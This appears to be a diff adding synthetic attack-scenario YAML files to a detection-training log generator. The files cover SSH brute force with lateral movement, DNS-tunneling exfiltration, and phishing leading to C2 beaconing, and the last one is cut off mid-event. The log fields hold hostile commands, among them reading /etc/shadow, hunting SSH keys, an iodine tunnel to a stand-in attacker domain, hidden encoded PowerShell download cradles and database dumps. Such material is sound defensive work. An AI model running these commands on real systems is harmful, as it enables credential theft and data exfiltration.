|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: deploy
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: ubuntu
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: jenkins
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: postgres
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: www-data
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: backup
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: sysadmin
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: devops
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: ftpuser
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: testuser
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: operator
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: nagios
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: ansible
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: git
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: docker
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: mysql
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.15
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: redis
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.8
|
||||
source_type: ids
|
||||
event_type: ids_alert
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: ids-sensor-01
|
||||
message: SSH brute force attack detected
|
||||
signature_id: 2001219
|
||||
signature_name: ET SCAN Potential SSH Brute Force
|
||||
classification: attempted-admin
|
||||
priority: 1
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 1.5
|
||||
source_type: auth
|
||||
event_type: login_success
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: deploy
|
||||
message: Successful SSH login after brute force
|
||||
auth_method: password
|
||||
result: success
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: deploy
|
||||
message: Credential harvesting via /etc/shadow read
|
||||
process_name: cat
|
||||
process_id: 28451
|
||||
parent_process: bash
|
||||
command_line: cat /etc/shadow
|
||||
file_path: /etc/shadow
|
||||
mitre_tactic: TA0006
|
||||
mitre_technique: T1003.008
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: deploy
|
||||
message: SSH key discovery
|
||||
process_name: find
|
||||
process_id: 28467
|
||||
parent_process: bash
|
||||
command_line: find / -name id_rsa -type f 2>/dev/null
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1552.004
|
||||
|
||||
- delay_seconds: 2.5
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 10.1.1.50
|
||||
dest_ip: 10.1.2.10
|
||||
source_port: 55102
|
||||
dest_port: 22
|
||||
hostname: fw-internal-01
|
||||
message: Internal SSH connection from bastion to app server
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-ssh
|
||||
mitre_tactic: TA0008
|
||||
mitre_technique: T1021.004
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: auth
|
||||
event_type: login_success
|
||||
source_ip: 10.1.1.50
|
||||
dest_ip: 10.1.2.10
|
||||
hostname: app-server-01
|
||||
username: deploy
|
||||
message: Lateral movement SSH login to application server
|
||||
auth_method: publickey
|
||||
result: success
|
||||
service: sshd
|
||||
mitre_tactic: TA0008
|
||||
mitre_technique: T1021.004
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 10.1.1.50
|
||||
dest_ip: 10.1.2.20
|
||||
source_port: 55118
|
||||
dest_port: 22
|
||||
hostname: fw-internal-01
|
||||
message: Internal SSH connection from bastion to database server
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-ssh
|
||||
mitre_tactic: TA0008
|
||||
mitre_technique: T1021.004
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: auth
|
||||
event_type: login_success
|
||||
source_ip: 10.1.1.50
|
||||
dest_ip: 10.1.2.20
|
||||
hostname: db-server-01
|
||||
username: deploy
|
||||
message: Lateral movement SSH login to database server
|
||||
auth_method: publickey
|
||||
result: success
|
||||
service: sshd
|
||||
mitre_tactic: TA0008
|
||||
mitre_technique: T1021.004
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.1.2.20
|
||||
hostname: db-server-01
|
||||
username: deploy
|
||||
message: Database dump on compromised server
|
||||
process_name: pg_dump
|
||||
process_id: 31204
|
||||
parent_process: bash
|
||||
command_line: pg_dump -U postgres --all-databases -f /tmp/dump.sql
|
||||
mitre_tactic: TA0009
|
||||
mitre_technique: T1005
|
||||
|
|
@ -0,0 +1,328 @@
|
|||
# ©AngelaMos | 2026
|
||||
# data_exfiltration.yml
|
||||
|
||||
name: Data Exfiltration via DNS Tunneling
|
||||
description: >
|
||||
Simulates a compromised internal host that performs network
|
||||
reconnaissance via port scanning, accesses sensitive file shares,
|
||||
and exfiltrates data using DNS tunneling with high-entropy TXT
|
||||
queries to an attacker-controlled domain. Based on APT34/OilRig
|
||||
DNSpionage campaign techniques.
|
||||
|
||||
mitre_tactics:
|
||||
- TA0007
|
||||
- TA0009
|
||||
- TA0010
|
||||
mitre_techniques:
|
||||
- T1046
|
||||
- T1005
|
||||
- T1048.003
|
||||
- T1071.004
|
||||
|
||||
events:
|
||||
- delay_seconds: 1.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-compromised
|
||||
username: jdoe
|
||||
message: Network scanning tool executed for internal reconnaissance
|
||||
process_name: nmap
|
||||
process_id: 8201
|
||||
parent_process: bash
|
||||
command_line: nmap -sS -p 22,80,443,445,3389,5432 10.0.2.0/24
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: firewall
|
||||
event_type: port_scan
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.10
|
||||
source_port: 41001
|
||||
dest_port: 445
|
||||
hostname: fw-internal-01
|
||||
message: SYN scan detected targeting SMB port
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-all
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 0.5
|
||||
source_type: firewall
|
||||
event_type: port_scan
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.20
|
||||
source_port: 41002
|
||||
dest_port: 5432
|
||||
hostname: fw-internal-01
|
||||
message: SYN scan detected targeting PostgreSQL port
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-all
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 0.5
|
||||
source_type: firewall
|
||||
event_type: port_scan
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.30
|
||||
source_port: 41003
|
||||
dest_port: 3389
|
||||
hostname: fw-internal-01
|
||||
message: SYN scan detected targeting RDP port
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-all
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 0.5
|
||||
source_type: firewall
|
||||
event_type: port_scan
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.40
|
||||
source_port: 41004
|
||||
dest_port: 22
|
||||
hostname: fw-internal-01
|
||||
message: SYN scan detected targeting SSH port
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-all
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: ids
|
||||
event_type: ids_alert
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.0
|
||||
hostname: ids-sensor-02
|
||||
message: Port scan activity detected from workstation
|
||||
signature_id: 2001219
|
||||
signature_name: ET SCAN Potential Port Scan
|
||||
classification: attempted-recon
|
||||
priority: 2
|
||||
mitre_tactic: TA0007
|
||||
mitre_technique: T1046
|
||||
|
||||
- delay_seconds: 5.0
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.2.10
|
||||
source_port: 42301
|
||||
dest_port: 445
|
||||
hostname: fw-internal-01
|
||||
message: SMB connection to file server after reconnaissance
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: internal-smb
|
||||
mitre_tactic: TA0008
|
||||
mitre_technique: T1021.002
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: file_access
|
||||
source_ip: 10.0.1.50
|
||||
hostname: file-server-01
|
||||
username: jdoe
|
||||
message: Bulk access to confidential financial documents
|
||||
process_name: smbclient
|
||||
process_id: 8310
|
||||
parent_process: bash
|
||||
command_line: smbclient //10.0.2.10/Finance -U jdoe -c "recurse ON; prompt OFF; mget *"
|
||||
file_path: //10.0.2.10/Finance/
|
||||
mitre_tactic: TA0009
|
||||
mitre_technique: T1005
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: file_access
|
||||
source_ip: 10.0.1.50
|
||||
hostname: file-server-01
|
||||
username: jdoe
|
||||
message: Customer database export accessed
|
||||
process_name: smbclient
|
||||
process_id: 8315
|
||||
parent_process: bash
|
||||
command_line: smbclient //10.0.2.10/Databases -U jdoe -c "get customer_export_2026.sql"
|
||||
file_path: //10.0.2.10/Databases/customer_export_2026.sql
|
||||
mitre_tactic: TA0009
|
||||
mitre_technique: T1005
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-compromised
|
||||
username: jdoe
|
||||
message: Collected data compressed for exfiltration staging
|
||||
process_name: tar
|
||||
process_id: 8330
|
||||
parent_process: bash
|
||||
command_line: tar czf /tmp/.data.tar.gz /tmp/exfil/
|
||||
file_path: /tmp/.data.tar.gz
|
||||
mitre_tactic: TA0009
|
||||
mitre_technique: T1560.001
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-compromised
|
||||
username: jdoe
|
||||
message: DNS tunneling tool iodine started for exfiltration
|
||||
process_name: iodine
|
||||
process_id: 8345
|
||||
parent_process: bash
|
||||
command_line: iodine -f -P s3cretK3y data.exfil-tunnel.tk 10.0.0.53
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling query with high-entropy subdomain encoding
|
||||
query: 4d5a90000300000004000000ffff0000b800.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: b8000000000000004000000000000000.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: 0e1fba0e00b409cd21b8014ccd215468.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: 69732070726f6772616d2063616e6e6f.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: 7420626520727566efbfbd206e20444f.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: 53206d6f64652e0d0d0a24000000efbf.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: bd00000000efbfbdefbfbdefbfbd0000.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 0.1
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling data chunk transmission
|
||||
query: efbfbd000000efbfbd000000efbfbd00.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: ids
|
||||
event_type: ids_alert
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ids-sensor-01
|
||||
message: DNS tunneling activity detected from excessive TXT queries
|
||||
signature_id: 2027863
|
||||
signature_name: ET DNS Potential DNS Tunneling TXT Query High Frequency
|
||||
classification: policy-violation
|
||||
priority: 1
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-compromised
|
||||
message: DNS tunneling final data chunk and session teardown
|
||||
query: efbfbd000000efbfbdff00006efbfbd0.data.exfil-tunnel.tk
|
||||
query_type: TXT
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0010
|
||||
mitre_technique: T1048.003
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-compromised
|
||||
username: jdoe
|
||||
message: Staged data and tunneling artifacts cleaned up
|
||||
process_name: rm
|
||||
process_id: 8401
|
||||
parent_process: bash
|
||||
command_line: rm -rf /tmp/exfil/ /tmp/.data.tar.gz
|
||||
mitre_tactic: TA0005
|
||||
mitre_technique: T1070.004
|
||||
|
|
@ -0,0 +1,315 @@
|
|||
# ©AngelaMos | 2026
|
||||
# phishing_c2.yml
|
||||
|
||||
name: Phishing to C2 Beaconing
|
||||
description: >
|
||||
Simulates a spear-phishing attack where a user opens a malicious
|
||||
macro-enabled attachment, triggering PowerShell download cradle
|
||||
execution, establishing persistent HTTP-based C2 beaconing, and
|
||||
performing discovery and data staging. Based on Emotet/TrickBot
|
||||
delivery patterns observed in TA542 campaigns.
|
||||
|
||||
mitre_tactics:
|
||||
- TA0001
|
||||
- TA0002
|
||||
- TA0011
|
||||
- TA0007
|
||||
- TA0009
|
||||
mitre_techniques:
|
||||
- T1566.001
|
||||
- T1204.002
|
||||
- T1059.001
|
||||
- T1071.001
|
||||
- T1573.002
|
||||
|
||||
events:
|
||||
- delay_seconds: 1.0
|
||||
source_type: proxy
|
||||
event_type: http_request
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 198.51.100.77
|
||||
source_port: 52301
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
username: jdoe
|
||||
message: User clicked phishing link from spoofed email
|
||||
url: https://secure-docshare.example.com/invoice/view?id=8a3f
|
||||
method: GET
|
||||
status_code: 302
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: text/html
|
||||
bytes_transferred: 1247
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1566.002
|
||||
|
||||
- delay_seconds: 0.5
|
||||
source_type: proxy
|
||||
event_type: http_request
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 198.51.100.77
|
||||
source_port: 52302
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
username: jdoe
|
||||
message: Redirect to malicious macro-enabled document download
|
||||
url: https://secure-docshare.example.com/dl/Invoice_Feb2026.xlsm
|
||||
method: GET
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/vnd.ms-excel.sheet.macroEnabled.12
|
||||
bytes_transferred: 48210
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1566.001
|
||||
|
||||
- delay_seconds: 5.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: User opened macro-enabled spreadsheet
|
||||
process_name: EXCEL.EXE
|
||||
process_id: 3284
|
||||
parent_process: explorer.exe
|
||||
command_line: EXCEL.EXE /e "C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm"
|
||||
file_path: C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm
|
||||
mitre_tactic: TA0002
|
||||
mitre_technique: T1204.002
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Macro spawned cmd.exe child process from Excel
|
||||
process_name: cmd.exe
|
||||
process_id: 4102
|
||||
parent_process: EXCEL.EXE
|
||||
command_line: cmd.exe /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
|
||||
mitre_tactic: TA0002
|
||||
mitre_technique: T1059.003
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Encoded PowerShell download cradle executed
|
||||
process_name: powershell.exe
|
||||
process_id: 4156
|
||||
parent_process: cmd.exe
|
||||
command_line: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
|
||||
mitre_tactic: TA0002
|
||||
mitre_technique: T1059.001
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: proxy
|
||||
event_type: http_request
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.88
|
||||
source_port: 52410
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
username: jdoe
|
||||
message: PowerShell downloading second-stage payload
|
||||
url: https://cdn-update-service.example.net/assets/update.exe
|
||||
method: GET
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/octet-stream
|
||||
bytes_transferred: 245760
|
||||
mitre_tactic: TA0002
|
||||
mitre_technique: T1105
|
||||
|
||||
- delay_seconds: 2.0
|
||||
source_type: endpoint
|
||||
event_type: process_execution
|
||||
source_ip: 10.0.1.50
|
||||
hostname: ws-jdoe
|
||||
username: jdoe
|
||||
message: Second-stage payload executed from temp directory
|
||||
process_name: update.exe
|
||||
process_id: 4201
|
||||
parent_process: powershell.exe
|
||||
command_line: C:\Users\jdoe\AppData\Local\Temp\update.exe
|
||||
file_path: C:\Users\jdoe\AppData\Local\Temp\update.exe
|
||||
mitre_tactic: TA0002
|
||||
mitre_technique: T1204.002
|
||||
|
||||
- delay_seconds: 3.0
|
||||
source_type: dns
|
||||
event_type: dns_query
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 10.0.0.53
|
||||
hostname: ws-jdoe
|
||||
message: C2 domain resolution via DGA-like subdomain
|
||||
query: r4d58hj3c.cdn-services.example.net
|
||||
query_type: A
|
||||
response: 203.0.113.99
|
||||
response_code: NOERROR
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.004
|
||||
|
||||
- delay_seconds: 1.0
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53401
|
||||
dest_port: 443
|
||||
hostname: fw-edge-01
|
||||
message: Outbound HTTPS to C2 infrastructure
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: outbound-https
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.001
|
||||
|
||||
- delay_seconds: 5.0
|
||||
source_type: proxy
|
||||
event_type: c2_communication
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53401
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
message: C2 beacon initial check-in with host fingerprint
|
||||
url: https://cdn-services.example.net/api/v1/register
|
||||
method: POST
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/json
|
||||
bytes_transferred: 512
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.001
|
||||
|
||||
- delay_seconds: 10.0
|
||||
source_type: proxy
|
||||
event_type: c2_communication
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53402
|
||||
dest_port: 443
|
||||
hostname: proxy-01
|
||||
message: C2 beacon heartbeat at regular interval
|
||||
url: https://cdn-services.example.net/api/v1/status
|
||||
method: POST
|
||||
status_code: 200
|
||||
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
content_type: application/json
|
||||
bytes_transferred: 256
|
||||
mitre_tactic: TA0011
|
||||
mitre_technique: T1071.001
|
||||
|
||||
- delay_seconds: 10.0
|
||||
source_type: proxy
|
||||
event_type: c2_communication
|
||||
source_ip: 10.0.1.50
|
||||
dest_ip: 203.0.113.99
|
||||
source_port: 53403
|
||||
